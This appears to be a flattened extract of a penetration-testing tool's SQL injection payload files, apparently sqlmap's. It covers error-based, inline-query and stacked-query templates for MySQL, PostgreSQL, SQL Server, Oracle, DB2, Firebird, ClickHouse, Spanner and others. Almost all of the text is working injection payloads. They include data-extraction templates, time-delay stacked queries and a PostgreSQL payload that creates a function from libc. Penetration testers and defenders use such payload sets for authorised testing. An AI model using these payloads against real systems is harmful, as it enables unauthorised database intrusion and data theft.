MonetDB AND error-based - WHERE or HAVING clause 2 3 1 1 1 AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MonetDB
MonetDB OR error-based - WHERE or HAVING clause 2 4 3 1 2 OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MonetDB
Vertica AND error-based - WHERE or HAVING clause 2 3 1 1 1 AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Vertica
Vertica OR error-based - WHERE or HAVING clause 2 4 3 1 2 OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Vertica
IBM DB2 AND error-based - WHERE or HAVING clause 2 3 1 1 1 AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
IBM DB2
IBM DB2 OR error-based - WHERE or HAVING clause 2 4 3 1 1 OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
IBM DB2
ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause 2 3 1 1,2,3,9 1 AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
ClickHouse
ClickHouse OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause 2 4 3 1,2,3,9 1 OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
ClickHouse
Spanner AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause 2 5 1 1,2,3,8,9 1 AND ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL AND ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Spanner
Spanner OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause 2 5 3 1,2,3,8,9 1 OR ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL OR ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Spanner
MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE) 2 2 1 1,2,3,4,5 1 PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')),1) PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')),1) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED) 2 5 1 1,2,3,9 3 (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.5
MySQL >= 5.5 error-based - Parameter replace (EXP) 2 5 1 1,2,3,9 3 EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.5
MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET) 2 3 1 1,2,3,9 3 GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.6
MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS) 2 5 1 1,2,3,9 3 JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))) JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.7.8
MySQL >= 5.0 error-based - Parameter replace (FLOOR) 2 4 1 1,2,3,9 3 (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.0
MySQL >= 5.1 error-based - Parameter replace (UPDATEXML) 2 4 1 1,2,3,9 3 (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])) (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE) 2 2 1 1,2,3,9 3 (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))) (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
PostgreSQL error-based - Parameter replace 2 2 1 1,2,3,9 3 (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) (CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
PostgreSQL error-based - Parameter replace (GENERATE_SERIES) 2 5 1 1,2,3,9 3 (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) (CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
Microsoft SQL Server/Sybase error-based - Parameter replace 2 3 1 1,3 3 (CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))) (CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase error-based - Parameter replace (integer column) 2 4 1 1,3 3 (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]') (SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
Oracle error-based - Parameter replace 2 3 1 1,3 3 (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) (SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Firebird error-based - Parameter replace 2 4 1 1,3 3 (SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')) (SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Firebird
IBM DB2 error-based - Parameter replace 2 4 1 1,3 3 RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
IBM DB2
MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED) 2 5 1 2,3 1 ,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x) ,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.5
MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP) 2 5 1 2,3 1 ,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)))s) ,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)))s) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.5
MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET) 2 3 1 2,3 1 ,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) ,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.6
MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS) 2 5 1 2,3 1 ,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))))x) ,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))))x) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.7.8
MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR) 2 5 1 2,3 1 ,(SELECT 1 FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) ,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.0
MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE) 2 3 1 2,3 1 ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) ,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML) 2 5 1 2,3 1 ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) ,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 5.1
MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR) 2 5 1 2,3 1 ,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s) ,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL >= 4.1
PostgreSQL error-based - ORDER BY, GROUP BY clause 2 3 1 2,3 1 ,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) ,(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
PostgreSQL error-based - ORDER BY, GROUP BY clause (GENERATE_SERIES) 2 5 1 2,3 1 ,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) ,(CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
Microsoft SQL Server/Sybase error-based - ORDER BY clause 2 4 1 3 1 ,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))) ,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
Oracle error-based - ORDER BY, GROUP BY clause 2 4 1 2,3 1 ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) ,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
Firebird error-based - ORDER BY clause 2 5 1 3 1 ,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')) ,(SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Firebird
IBM DB2 error-based - ORDER BY clause 2 5 1 3 1 ,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') ,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
IBM DB2
Microsoft SQL Server/Sybase error-based - Stacking (EXEC) 2 2 1 1-8 1 ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR] ;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR] -- [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
================================================ FILE: data/xml/payloads/inline_query.xml ================================================ Generic inline queries 3 1 1 1,2,3,8 3 (SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]')) (SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] MySQL inline queries 3 2 1 1,2,3,8 3 (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) (SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL
PostgreSQL inline queries 3 2 1 1,2,3,8 3 (SELECT '[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]') (SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
PostgreSQL
Microsoft SQL Server/Sybase inline queries 3 2 1 1,2,3,8 3 (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]') (SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Microsoft SQL Server Sybase
Oracle inline queries 3 2 1 1,2,3,8 3 (SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL) (SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Oracle
SQLite inline queries 3 3 1 1,2,3,8 3 SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
SQLite
Firebird inline queries 3 3 1 1,2,3,8 3 SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' FROM RDB$DATABASE SELECT '[DELIMITER_START]'||(CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' FROM RDB$DATABASE [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
Firebird
ClickHouse inline queries 3 3 1 1,2,3,8 3 ('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') ('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
ClickHouse
================================================ FILE: data/xml/payloads/stacked_queries.xml ================================================ MySQL >= 5.0.12 stacked queries (comment) 4 2 1 1-8 1 ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) ;SELECT SLEEP([SLEEPTIME]) #
MySQL >= 5.0.12
MySQL >= 5.0.12 stacked queries 4 3 1 1-8 1 ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) ;SELECT SLEEP([SLEEPTIME])
MySQL >= 5.0.12
MySQL >= 5.0.12 stacked queries (query SLEEP - comment) 4 3 1 1-8 1 ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) #
MySQL >= 5.0.12
MySQL >= 5.0.12 stacked queries (query SLEEP) 4 4 1 1-8 1 ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
MySQL >= 5.0.12
MySQL < 5.0.12 stacked queries (BENCHMARK - comment) 4 3 2 1-8 1 ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) ;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) #
MySQL
MySQL < 5.0.12 stacked queries (BENCHMARK) 4 5 2 1-8 1 ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) ;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
MySQL
PostgreSQL > 8.1 stacked queries (comment) 4 1 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) ;SELECT PG_SLEEP([SLEEPTIME]) --
PostgreSQL > 8.1
PostgreSQL > 8.1 stacked queries 4 4 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) ;SELECT PG_SLEEP([SLEEPTIME])
PostgreSQL > 8.1
PostgreSQL stacked queries (heavy query - comment) 4 2 2 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) ;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000) --
PostgreSQL
PostgreSQL stacked queries (heavy query) 4 5 2 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) ;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)
PostgreSQL
PostgreSQL < 8.2 stacked queries (Glibc - comment) 4 3 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME]) --
PostgreSQL < 8.2 Linux
PostgreSQL < 8.2 stacked queries (Glibc) 4 5 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME])
PostgreSQL < 8.2 Linux
Microsoft SQL Server/Sybase stacked queries (comment) 4 1 1 1-8 1 ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' ;WAITFOR DELAY '0:0:[SLEEPTIME]' --
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase stacked queries (DECLARE - comment) 4 2 1 1-8 1 ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x --
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase stacked queries 4 4 1 1-8 1 ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' ;WAITFOR DELAY '0:0:[SLEEPTIME]'
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase stacked queries (DECLARE) 4 5 1 1-8 1 ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x
Microsoft SQL Server Sybase
Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment) 4 1 1 1-8 1 ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL ;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL --
Oracle
